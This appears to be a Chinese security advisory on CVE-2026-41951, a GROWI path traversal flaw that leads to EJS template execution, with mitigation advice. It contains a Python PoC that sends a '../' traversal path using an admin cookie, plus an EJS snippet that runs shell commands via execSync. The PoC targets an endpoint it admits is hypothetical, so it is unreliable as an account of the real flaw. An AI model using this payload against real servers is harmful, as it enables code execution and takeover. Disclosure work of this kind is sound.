IPBUF安全漏洞报告
English
CVE-2026-41951 CVSS 7.2 高危

CVE-2026-41951 GROWI路径遍历漏洞致任意EJS模板执行

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-41951
漏洞类型
路径遍历
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
GROWI

相关标签

路径遍历远程代码执行GROWIEJS注入高危漏洞

漏洞概述

GROWI v7.5.0及更早版本中存在严重的路径遍历漏洞。该漏洞允许已获得高权限的攻击者在GROWI系统配置了邮件服务器的情况下,利用路径遍历技术读取并执行服务器上的任意EJS(Embedded JavaScript)模板文件。由于漏洞涉及代码执行,攻击者可能借此获取服务器控制权。CVSS评分为7.2,属于高危级别,会对系统的机密性、完整性和可用性造成严重影响。

技术细节

该漏洞的根源在于GROWI在处理邮件服务器功能请求时,对文件路径参数的校验不足,存在路径遍历缺陷。GROWI应用使用EJS(Embedded JavaScript templates)作为服务端模板引擎。攻击者利用高权限账户,通过发送特制的恶意请求,使用`../`等序列穿越目录限制,访问并指定服务器上任意位置的EJS模板文件进行渲染。由于EJS模板在渲染时会执行其中的JavaScript代码,攻击者可以借此注入并执行任意服务端代码。这种利用方式将路径遍历漏洞升级为了远程代码执行(RCE)漏洞,严重威胁服务器安全。

攻击链分析

STEP 1
侦察与获取权限
攻击者识别目标为GROWI系统,并通过漏洞利用或社会工程学获取管理员级别的高权限账户(PR:H)。
STEP 2
漏洞利用
攻击者利用高权限会话,向邮件服务器相关的API接口发送特制的数据包,在路径参数中插入'../'序列。
STEP 3
路径遍历
服务器端未正确过滤路径,攻击者成功跳出受限制的目录,定位到服务器上的任意EJS模板文件。
STEP 4
代码执行
服务器渲染被指定的EJS模板,执行其中嵌入的恶意JavaScript代码,从而在服务器端实现任意命令执行。
STEP 5
维持控制与影响
攻击者建立后门或窃取敏感数据,完全破坏系统的机密性、完整性和可用性。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://localhost:3000/api/vuln/endpoint" # Hypothetical endpoint session_cookie = "connect.sid=..." # Admin session cookie (High Privilege Required) # EJS payload to execute system commands (e.g., 'id') # The payload attempts to traverse directories and load a malicious template or inject code malicious_template_path = "../../../../../../../../../tmp/malicious.ejs" headers = { "Cookie": session_cookie, "Content-Type": "application/json" } # Data payload exploiting path traversal in the email server feature payload = { "emailSettings": { "templatePath": malicious_template_path } } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check server for execution.") print("[+] Response:", response.text) else: print("[-] Failed to send request.") except Exception as e: print(f"[-] Error: {e}") # Note: A malicious.ejs file on the server would contain code like: # <%= global.process.mainModule.require('child_process').execSync('whoami').toString() %>

影响范围

GROWI <= 7.5.0

防御指南

临时缓解措施
如果无法立即升级,建议暂时禁用GROWI中的邮件服务器功能以阻断攻击路径。同时,部署Web应用防火墙(WAF)规则,拦截包含路径遍历特征(如 '../', '..\')的请求。此外,应严格审查管理员账户权限,确保未被滥用。

参考链接